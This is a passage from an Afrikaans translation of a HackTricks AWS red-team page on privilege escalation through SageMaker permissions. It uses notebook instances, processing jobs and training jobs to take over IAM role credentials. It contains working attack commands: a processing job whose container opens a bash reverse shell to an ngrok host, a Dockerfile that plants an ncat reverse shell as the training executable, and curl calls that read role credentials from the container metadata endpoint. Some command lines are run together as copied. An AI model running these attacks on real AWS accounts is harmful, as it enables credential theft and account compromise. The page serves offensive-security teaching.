Die antwoord moet 'n NotebookInstanceArn veld bevat, wat die ARN van die nuutgeskepte notaboekinstansie sal bevat. Ons kan dan die create-presigned-notebook-instance-url API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notaboekinstansie te verkry sodra dit gereed is:
Navigeer na die URL met die webblaaier en klik op "Open JupyterLab" in die boonste regterhoek, skrol dan af na die "Launcher" -kategorie en klik op die "Terminal" -knoppie onder die "Other" -afdeling.
Nou is dit moontlik om toegang te verkry tot die metadata-geloofsbriewe van die IAM Role.
Potensiële Impak: Privesc na die gespesifiseerde sagemaker-diensrol.
sagemaker:CreatePresignedNotebookInstanceUrl
As daar reeds Jupyter-notaboekies op dit loop en jy kan hulle lys met sagemaker:ListNotebookInstances (of hulle op enige ander manier ontdek). Jy kan 'n URL vir hulle genereer, toegang tot hulle verkry en die geloofsbriewe steel soos aangedui in die vorige tegniek.
Potensiële Impak: Privesc na die sagemaker-diensrol wat aangeheg is.
sagemaker:CreateProcessingJob,iam:PassRole
'n Aanvaller met daardie toestemmings kan sagemaker dwing om 'n verwerkingswerk uit te voer met 'n sagemaker-rol wat daaraan geheg is. Die aanvaller kan die definisie van die houer aandui wat in 'n AWS-bestuurde ECS-rekeningseksemplaar uitgevoer sal word, en die geloofsbriewe van die gehegde IAM-rol steel.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Potensiële Impak: Privesc na die sagemaker-diensrol wat gespesifiseer is.
sagemaker:CreateTrainingJob, iam:PassRole
'n Aanvaller met hierdie toestemmings sal in staat wees om 'n opleidingswerk te skep, wat 'n willekeurige houer daarop laat loop met 'n rol daaraan geheg. Daarom sal die aanvaller in staat wees om die geloofsbriewe van die rol te steel.
Hierdie scenario is moeiliker om uit te buit as die vorige een omdat jy 'n Docker-beeld moet genereer wat die rev shell of geloofsbriewe direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Potensiële Impak:** Privesc na die sagemaker-diensrol wat gespesifiseer is.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
'n Aanvaller met hierdie toestemmings sal (moontlik) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **'n willekeurige houer daarop te laat loop** met 'n **rol daaraan geheg**.\
Ek het dit nie uitgebuit weens 'n gebrek aan tyd nie, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR te stuur met die uitbuitingsbesonderhede.
# Verwysings
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>